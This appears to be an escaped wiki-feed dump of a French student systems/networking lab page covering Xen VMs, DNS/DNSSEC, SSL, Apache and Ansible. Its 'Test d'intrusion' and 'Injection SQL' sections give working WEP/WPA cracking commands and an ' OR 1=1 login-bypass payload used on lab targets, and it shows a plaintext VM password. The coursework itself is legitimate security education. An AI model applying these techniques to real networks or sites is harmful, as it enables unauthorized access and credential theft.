     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; \{\{item\}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;\{\{ item \}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58006</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58006"/>
				<updated>2022-01-12T12:34:13Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
